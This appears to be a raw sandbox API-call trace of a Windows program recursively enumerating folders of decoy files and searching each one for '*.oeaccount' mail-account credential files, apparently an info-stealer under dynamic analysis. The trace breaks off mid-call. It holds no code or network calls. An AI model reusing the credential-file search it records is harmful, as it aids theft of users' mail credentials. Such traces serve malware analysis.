[0063.419] strlen (_Str="2gG1-fvgooxDSv59V.docx") returned 0x16 [0063.419] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.419] strlen (_Str="LLeV0n") returned 0x6 [0063.419] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.419] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.419] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c0d990, ftCreationTime.dwHighDateTime=0x1d4ccad, ftLastAccessTime.dwLowDateTime=0x3f4a0460, ftLastAccessTime.dwHighDateTime=0x1d4c5a8, ftLastWriteTime.dwLowDateTime=0x3f4a0460, ftLastWriteTime.dwHighDateTime=0x1d4c5a8, nFileSizeHigh=0x0, nFileSizeLow=0xd564, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="3HGkdJue19GMiK.pdf", cAlternateFileName="3HGKDJ~1.PDF")) returned 1 [0063.419] strlen (_Str="LLeV0n") returned 0x6 [0063.419] strlen (_Str="3HGkdJue19GMiK.pdf") returned 0x12 [0063.419] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.419] strlen (_Str="LLeV0n") returned 0x6 [0063.419] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.419] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.419] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45543ab0, ftCreationTime.dwHighDateTime=0x1d4c7ab, ftLastAccessTime.dwLowDateTime=0xf7440900, ftLastAccessTime.dwHighDateTime=0x1d4caa6, ftLastWriteTime.dwLowDateTime=0xf7440900, ftLastWriteTime.dwHighDateTime=0x1d4caa6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="aNPludfzjZiF27M hmsf", cAlternateFileName="ANPLUD~1")) returned 1 [0063.419] strlen (_Str="LLeV0n") returned 0x6 [0063.419] strlen (_Str="aNPludfzjZiF27M hmsf") returned 0x14 [0063.419] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.419] strlen (_Str="LLeV0n") returned 0x6 [0063.419] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.419] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.419] strcmp (_Str1="aNPludfzjZiF27M hmsf", _Str2="..") returned 1 [0063.419] strcmp (_Str1="aNPludfzjZiF27M hmsf", _Str2=".") returned 1 [0063.419] strlen (_Str="LLeV0n\\aNPludfzjZiF27M hmsf") returned 0x1b [0063.419] strlen (_Str="LLeV0n\\aNPludfzjZiF27M hmsf") returned 0x1b [0063.419] strlen (_Str="*.oeaccount") returned 0xb [0063.419] _mbscpy (in: param_1=0x18d8f4, param_2=0x18dcbc | out: param_1=0x18d8f4) returned 0x18d8f4 [0063.419] strlen (_Str="LLeV0n\\aNPludfzjZiF27M hmsf") returned 0x1b [0063.419] _mbscat (in: param_1=0x18d8f4, param_2=0x413078 | out: param_1=0x18d8f4) returned 0x18d8f4 [0063.419] _mbscat (in: param_1=0x18d8f4, param_2=0x414488 | out: param_1=0x18d8f4) returned 0x18d8f4 [0063.419] FindFirstFileA (in: lpFileName="LLeV0n\\aNPludfzjZiF27M hmsf\\*.oeaccount", lpFindFileData=0x18da38 | out: lpFindFileData=0x18da38*(dwFileAttributes=0x26bf08, ftCreationTime.dwLowDateTime=0x18ff78, ftCreationTime.dwHighDateTime=0x771a1ecd, ftLastAccessTime.dwLowDateTime=0x18dde8, ftLastAccessTime.dwHighDateTime=0xfffffffe, ftLastWriteTime.dwLowDateTime=0xa, ftLastWriteTime.dwHighDateTime=0x160014, nFileSizeHigh=0x2687c0, nFileSizeLow=0x228, dwReserved0=0x5, dwReserved1=0x0, cFileName="\x14", cAlternateFileName="s")) returned 0xffffffff [0063.419] strlen (_Str="LLeV0n\\aNPludfzjZiF27M hmsf") returned 0x1b [0063.420] _mbscpy (in: param_1=0x18de04, param_2=0x18e1cc | out: param_1=0x18de04) returned 0x18de04 [0063.420] _mbscat (in: param_1=0x18de04, param_2=0x413078 | out: param_1=0x18de04) returned 0x18de04 [0063.420] _mbscat (in: param_1=0x18de04, param_2=0x413768 | out: param_1=0x18de04) returned 0x18de04 [0063.420] FindFirstFileA (in: lpFileName="LLeV0n\\aNPludfzjZiF27M hmsf\\*.*", lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45543ab0, ftCreationTime.dwHighDateTime=0x1d4c7ab, ftLastAccessTime.dwLowDateTime=0xf7440900, ftLastAccessTime.dwHighDateTime=0x1d4caa6, ftLastWriteTime.dwLowDateTime=0xf7440900, ftLastWriteTime.dwHighDateTime=0x1d4caa6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x334, dwReserved1=0x361, cFileName=".", cAlternateFileName="")) returned 0x271328 [0063.420] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.420] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.420] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.420] strcmp (_Str1=".", _Str2="..") returned -1 [0063.420] strcmp (_Str1=".", _Str2=".") returned 0 [0063.420] FindNextFileA (in: hFindFile=0x271328, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45543ab0, ftCreationTime.dwHighDateTime=0x1d4c7ab, ftLastAccessTime.dwLowDateTime=0xf7440900, ftLastAccessTime.dwHighDateTime=0x1d4caa6, ftLastWriteTime.dwLowDateTime=0xf7440900, ftLastWriteTime.dwHighDateTime=0x1d4caa6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x334, dwReserved1=0x361, cFileName="..", cAlternateFileName="")) returned 1 [0063.420] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.420] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.420] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.420] strcmp (_Str1="..", _Str2="..") returned 0 [0063.420] FindNextFileA (in: hFindFile=0x271328, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0eedd0, ftCreationTime.dwHighDateTime=0x1d4d14d, ftLastAccessTime.dwLowDateTime=0xd1ba0a70, ftLastAccessTime.dwHighDateTime=0x1d4d101, ftLastWriteTime.dwLowDateTime=0xd1ba0a70, ftLastWriteTime.dwHighDateTime=0x1d4d101, nFileSizeHigh=0x0, nFileSizeLow=0x16f9b, dwReserved0=0x334, dwReserved1=0x361, cFileName="BxUjOHLR.m4a", cAlternateFileName="")) returned 1 [0063.420] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.420] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.420] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.420] FindNextFileA (in: hFindFile=0x271328, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4609f80, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x61f5a290, ftLastAccessTime.dwHighDateTime=0x1d4d20e, ftLastWriteTime.dwLowDateTime=0x61f5a290, ftLastWriteTime.dwHighDateTime=0x1d4d20e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x334, dwReserved1=0x361, cFileName="HidHxlrJdKnV5jrCA", cAlternateFileName="HIDHXL~1")) returned 1 [0063.420] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.420] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.420] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.420] strcmp (_Str1="HidHxlrJdKnV5jrCA", _Str2="..") returned 1 [0063.420] strcmp (_Str1="HidHxlrJdKnV5jrCA", _Str2=".") returned 1 [0063.420] _mbscpy (in: param_1=0x18cebc, param_2=0x18d284 | out: param_1=0x18cebc) returned 0x18cebc [0063.421] _mbscat (in: param_1=0x18cebc, param_2=0x413078 | out: param_1=0x18cebc) returned 0x18cebc [0063.421] _mbscat (in: param_1=0x18cebc, param_2=0x414488 | out: param_1=0x18cebc) returned 0x18cebc [0063.421] FindFirstFileA (in: lpFileName="LLeV0n\\aNPludfzjZiF27M hmsf\\HidHxlrJdKnV5jrCA\\*.oeaccount", lpFindFileData=0x18d000 | out: lpFindFileData=0x18d000*(dwFileAttributes=0x26bf08, ftCreationTime.dwLowDateTime=0x18ff78, ftCreationTime.dwHighDateTime=0x771a1ecd, ftLastAccessTime.dwLowDateTime=0x18d3b0, ftLastAccessTime.dwHighDateTime=0xfffffffe, ftLastWriteTime.dwLowDateTime=0x1f, ftLastWriteTime.dwHighDateTime=0x40003e, nFileSizeHigh=0x266b20, nFileSizeLow=0x228, dwReserved0=0x5, dwReserved1=0x0, cFileName=">", cAlternateFileName="s")) returned 0xffffffff [0063.421] _mbscpy (in: param_1=0x18d3cc, param_2=0x18d794 | out: param_1=0x18d3cc) returned 0x18d3cc [0063.421] _mbscat (in: param_1=0x18d3cc, param_2=0x413078 | out: param_1=0x18d3cc) returned 0x18d3cc [0063.421] _mbscat (in: param_1=0x18d3cc, param_2=0x413768 | out: param_1=0x18d3cc) returned 0x18d3cc [0063.421] FindFirstFileA (in: lpFileName="LLeV0n\\aNPludfzjZiF27M hmsf\\HidHxlrJdKnV5jrCA\\*.*", lpFindFileData=0x18d510 | out: lpFindFileData=0x18d510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4609f80, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x61f5a290, ftLastAccessTime.dwHighDateTime=0x1d4d20e, ftLastWriteTime.dwLowDateTime=0x61f5a290, ftLastWriteTime.dwHighDateTime=0x1d4d20e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x271368 [0063.421] _mbscpy (in: param_1=0x18d650, param_2=0x18d794 | out: param_1=0x18d650) returned 0x18d650 [0063.421] _mbscat (in: param_1=0x18d650, param_2=0x413078 | out: param_1=0x18d650) returned 0x18d650 [0063.421] _mbscat (in: param_1=0x18d650, param_2=0x18d53c | out: param_1=0x18d650) returned 0x18d650 [0063.421] strcmp (_Str1=".", _Str2="..") returned -1 [0063.421] strcmp (_Str1=".", _Str2=".") returned 0 [0063.421] FindNextFileA (in: hFindFile=0x271368, lpFindFileData=0x18d510 | out: lpFindFileData=0x18d510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4609f80, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x61f5a290, ftLastAccessTime.dwHighDateTime=0x1d4d20e, ftLastWriteTime.dwLowDateTime=0x61f5a290, ftLastWriteTime.dwHighDateTime=0x1d4d20e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.421] _mbscpy (in: param_1=0x18d650, param_2=0x18d794 | out: param_1=0x18d650) returned 0x18d650 [0063.421] _mbscat (in: param_1=0x18d650, param_2=0x413078 | out: param_1=0x18d650) returned 0x18d650 [0063.421] _mbscat (in: param_1=0x18d650, param_2=0x18d53c | out: param_1=0x18d650) returned 0x18d650 [0063.421] strcmp (_Str1="..", _Str2="..") returned 0 [0063.421] FindNextFileA (in: hFindFile=0x271368, lpFindFileData=0x18d510 | out: lpFindFileData=0x18d510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380038b0, ftCreationTime.dwHighDateTime=0x1d4c593, ftLastAccessTime.dwLowDateTime=0xc4cbd400, ftLastAccessTime.dwHighDateTime=0x1d4c8e7, ftLastWriteTime.dwLowDateTime=0xc4cbd400, ftLastWriteTime.dwHighDateTime=0x1d4c8e7, nFileSizeHigh=0x0, nFileSizeLow=0x8d95, dwReserved0=0x0, dwReserved1=0x0, cFileName="qJEyq.m4a", cAlternateFileName="")) returned 1 [0063.422] _mbscpy (in: param_1=0x18d650, param_2=0x18d794 | out: param_1=0x18d650) returned 0x18d650 [0063.422] _mbscat (in: param_1=0x18d650, param_2=0x413078 | out: param_1=0x18d650) returned 0x18d650 [0063.422] _mbscat (in: param_1=0x18d650, param_2=0x18d53c | out: param_1=0x18d650) returned 0x18d650 [0063.422] FindNextFileA (in: hFindFile=0x271368, lpFindFileData=0x18d510 | out: lpFindFileData=0x18d510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6d63e0, ftCreationTime.dwHighDateTime=0x1d4d13d, ftLastAccessTime.dwLowDateTime=0xe5bcf30, ftLastAccessTime.dwHighDateTime=0x1d4d45a, ftLastWriteTime.dwLowDateTime=0xe5bcf30, ftLastWriteTime.dwHighDateTime=0x1d4d45a, nFileSizeHigh=0x0, nFileSizeLow=0x150ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="VN9EqU9-iYNp1Z.wav", cAlternateFileName="VN9EQU~1.WAV")) returned 1 [0063.422] _mbscpy (in: param_1=0x18d650, param_2=0x18d794 | out: param_1=0x18d650) returned 0x18d650 [0063.422] _mbscat (in: param_1=0x18d650, param_2=0x413078 | out: param_1=0x18d650) returned 0x18d650 [0063.422] _mbscat (in: param_1=0x18d650, param_2=0x18d53c | out: param_1=0x18d650) returned 0x18d650 [0063.422] FindNextFileA (in: hFindFile=0x271368, lpFindFileData=0x18d510 | out: lpFindFileData=0x18d510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a634c00, ftCreationTime.dwHighDateTime=0x1d4cb31, ftLastAccessTime.dwLowDateTime=0x8eaacb0, ftLastAccessTime.dwHighDateTime=0x1d4c6b3, ftLastWriteTime.dwLowDateTime=0x8eaacb0, ftLastWriteTime.dwHighDateTime=0x1d4c6b3, nFileSizeHigh=0x0, nFileSizeLow=0x12d0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="X-W7zGKcGE.swf", cAlternateFileName="X-W7ZG~1.SWF")) returned 1 [0063.422] _mbscpy (in: param_1=0x18d650, param_2=0x18d794 | out: param_1=0x18d650) returned 0x18d650 [0063.422] _mbscat (in: param_1=0x18d650, param_2=0x413078 | out: param_1=0x18d650) returned 0x18d650 [0063.422] _mbscat (in: param_1=0x18d650, param_2=0x18d53c | out: param_1=0x18d650) returned 0x18d650 [0063.422] FindNextFileA (in: hFindFile=0x271368, lpFindFileData=0x18d510 | out: lpFindFileData=0x18d510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a634c00, ftCreationTime.dwHighDateTime=0x1d4cb31, ftLastAccessTime.dwLowDateTime=0x8eaacb0, ftLastAccessTime.dwHighDateTime=0x1d4c6b3, ftLastWriteTime.dwLowDateTime=0x8eaacb0, ftLastWriteTime.dwHighDateTime=0x1d4c6b3, nFileSizeHigh=0x0, nFileSizeLow=0x12d0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="X-W7zGKcGE.swf", cAlternateFileName="X-W7ZG~1.SWF")) returned 0 [0063.422] FindClose (in: hFindFile=0x271368 | out: hFindFile=0x271368) returned 1 [0063.422] FindNextFileA (in: hFindFile=0x271328, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe25614d0, ftCreationTime.dwHighDateTime=0x1d4cc71, ftLastAccessTime.dwLowDateTime=0xf8be5510, ftLastAccessTime.dwHighDateTime=0x1d4c655, ftLastWriteTime.dwLowDateTime=0xf8be5510, ftLastWriteTime.dwHighDateTime=0x1d4c655, nFileSizeHigh=0x0, nFileSizeLow=0x304c, dwReserved0=0x334, dwReserved1=0x361, cFileName="JZmV71HF.swf", cAlternateFileName="")) returned 1 [0063.422] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.422] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.422] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.422] FindNextFileA (in: hFindFile=0x271328, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fec2470, ftCreationTime.dwHighDateTime=0x1d4ce6c, ftLastAccessTime.dwLowDateTime=0xc8698140, ftLastAccessTime.dwHighDateTime=0x1d4d529, ftLastWriteTime.dwLowDateTime=0xc8698140, ftLastWriteTime.dwHighDateTime=0x1d4d529, nFileSizeHigh=0x0, nFileSizeLow=0x1198f, dwReserved0=0x334, dwReserved1=0x361, cFileName="oMxSdE7v814eD4LB.bmp", cAlternateFileName="OMXSDE~1.BMP")) returned 1 [0063.422] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.422] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.422] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.422] FindNextFileA (in: hFindFile=0x271328, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2fca50, ftCreationTime.dwHighDateTime=0x1d4d48f, ftLastAccessTime.dwLowDateTime=0x44956d0, ftLastAccessTime.dwHighDateTime=0x1d4c6c1, ftLastWriteTime.dwLowDateTime=0x44956d0, ftLastWriteTime.dwHighDateTime=0x1d4c6c1, nFileSizeHigh=0x0, nFileSizeLow=0x1220, dwReserved0=0x334, dwReserved1=0x361, cFileName="zyJLG9nWf v-4dM2x.ppt", cAlternateFileName="ZYJLG9~1.PPT")) returned 1 [0063.422] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.422] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.422] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.422] FindNextFileA (in: hFindFile=0x271328, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2fca50, ftCreationTime.dwHighDateTime=0x1d4d48f, ftLastAccessTime.dwLowDateTime=0x44956d0, ftLastAccessTime.dwHighDateTime=0x1d4c6c1, ftLastWriteTime.dwLowDateTime=0x44956d0, ftLastWriteTime.dwHighDateTime=0x1d4c6c1, nFileSizeHigh=0x0, nFileSizeLow=0x1220, dwReserved0=0x334, dwReserved1=0x361, cFileName="zyJLG9nWf v-4dM2x.ppt", cAlternateFileName="ZYJLG9~1.PPT")) returned 0 [0063.422] FindClose (in: hFindFile=0x271328 | out: hFindFile=0x271328) returned 1 [0063.422] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf0bc300, ftCreationTime.dwHighDateTime=0x1d4d3fe, ftLastAccessTime.dwLowDateTime=0x8c5fc0b0, ftLastAccessTime.dwHighDateTime=0x1d4cd45, ftLastWriteTime.dwLowDateTime=0x8c5fc0b0, ftLastWriteTime.dwHighDateTime=0x1d4cd45, nFileSizeHigh=0x0, nFileSizeLow=0x1d2b, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="gNyBReBGAMrN3.ods", cAlternateFileName="GNYBRE~1.ODS")) returned 1 [0063.422] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc57ce60, ftCreationTime.dwHighDateTime=0x1d4cc7c, ftLastAccessTime.dwLowDateTime=0x7c50c00, ftLastAccessTime.dwHighDateTime=0x1d4d3e6, ftLastWriteTime.dwLowDateTime=0x7c50c00, ftLastWriteTime.dwHighDateTime=0x1d4d3e6, nFileSizeHigh=0x0, nFileSizeLow=0xca1d, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="hVXzpCQJ9ylPcQG4dAbP.jpg", cAlternateFileName="HVXZPC~1.JPG")) returned 1 [0063.423] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8d5e510, ftCreationTime.dwHighDateTime=0x1d4cd42, ftLastAccessTime.dwLowDateTime=0x73a20710, ftLastAccessTime.dwHighDateTime=0x1d4d095, ftLastWriteTime.dwLowDateTime=0x73a20710, ftLastWriteTime.dwHighDateTime=0x1d4d095, nFileSizeHigh=0x0, nFileSizeLow=0x3669, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="LDDtvWNdR.avi", cAlternateFileName="LDDTVW~1.AVI")) returned 1 [0063.423] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435f5a10, ftCreationTime.dwHighDateTime=0x1d4d394, ftLastAccessTime.dwLowDateTime=0xf2504550, ftLastAccessTime.dwHighDateTime=0x1d4ce41, ftLastWriteTime.dwLowDateTime=0xf2504550, ftLastWriteTime.dwHighDateTime=0x1d4ce41, nFileSizeHigh=0x0, nFileSizeLow=0x13174, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="tbnIfzEpw2oBZo.avi", cAlternateFileName="TBNIFZ~1.AVI")) returned 1 [0063.423] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8dd97e0, ftCreationTime.dwHighDateTime=0x1d4cd1c, ftLastAccessTime.dwLowDateTime=0xb5821080, ftLastAccessTime.dwHighDateTime=0x1d4d117, ftLastWriteTime.dwLowDateTime=0xb5821080, ftLastWriteTime.dwHighDateTime=0x1d4d117, nFileSizeHigh=0x0, nFileSizeLow=0x122ff, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="VUzR.bmp", cAlternateFileName="")) returned 1 [0063.423] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f5fd9a0, ftCreationTime.dwHighDateTime=0x1d4cc13, ftLastAccessTime.dwLowDateTime=0xda3eb010, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0xda3eb010, ftLastWriteTime.dwHighDateTime=0x1d4c6a2, nFileSizeHigh=0x0, nFileSizeLow=0x1793e, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="YmWaUO4KaZTNsKM.swf", cAlternateFileName="YMWAUO~1.SWF")) returned 1 [0063.423] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.423] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f5fd9a0, ftCreationTime.dwHighDateTime=0x1d4cc13, ftLastAccessTime.dwLowDateTime=0xda3eb010, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0xda3eb010, ftLastWriteTime.dwHighDateTime=0x1d4c6a2, nFileSizeHigh=0x0, nFileSizeLow=0x1793e, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="YmWaUO4KaZTNsKM.swf", cAlternateFileName="YMWAUO~1.SWF")) returned 0 [0063.423] FindClose (in: hFindFile=0x2691c0 | out: hFindFile=0x2691c0) returned 1 [0063.423] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaec10170, ftCreationTime.dwHighDateTime=0x1d4d081, ftLastAccessTime.dwLowDateTime=0xffe98180, ftLastAccessTime.dwHighDateTime=0x1d4c6f4, ftLastWriteTime.dwLowDateTime=0xffe98180, ftLastWriteTime.dwHighDateTime=0x1d4c6f4, nFileSizeHigh=0x0, nFileSizeLow=0x1603b, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="Oqst.mp4", cAlternateFileName="")) returned 1 [0063.423] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.423] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.423] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af919a0, ftCreationTime.dwHighDateTime=0x1d4c5a9, ftLastAccessTime.dwLowDateTime=0x4dc544c0, ftLastAccessTime.dwHighDateTime=0x1d4cec5, ftLastWriteTime.dwLowDateTime=0x4dc544c0, ftLastWriteTime.dwHighDateTime=0x1d4cec5, nFileSizeHigh=0x0, nFileSizeLow=0x5bb7, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="POp0bPcS.mp3", cAlternateFileName="")) returned 1 [0063.423] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.423] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.423] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd68c5c60, ftCreationTime.dwHighDateTime=0x1d4ce77, ftLastAccessTime.dwLowDateTime=0x1427c560, ftLastAccessTime.dwHighDateTime=0x1d4d42b, ftLastWriteTime.dwLowDateTime=0x1427c560, ftLastWriteTime.dwHighDateTime=0x1d4d42b, nFileSizeHigh=0x0, nFileSizeLow=0x183f1, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="qkqQnH1Gj_0c9BCS8o6.swf", cAlternateFileName="QKQQNH~1.SWF")) returned 1 [0063.423] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 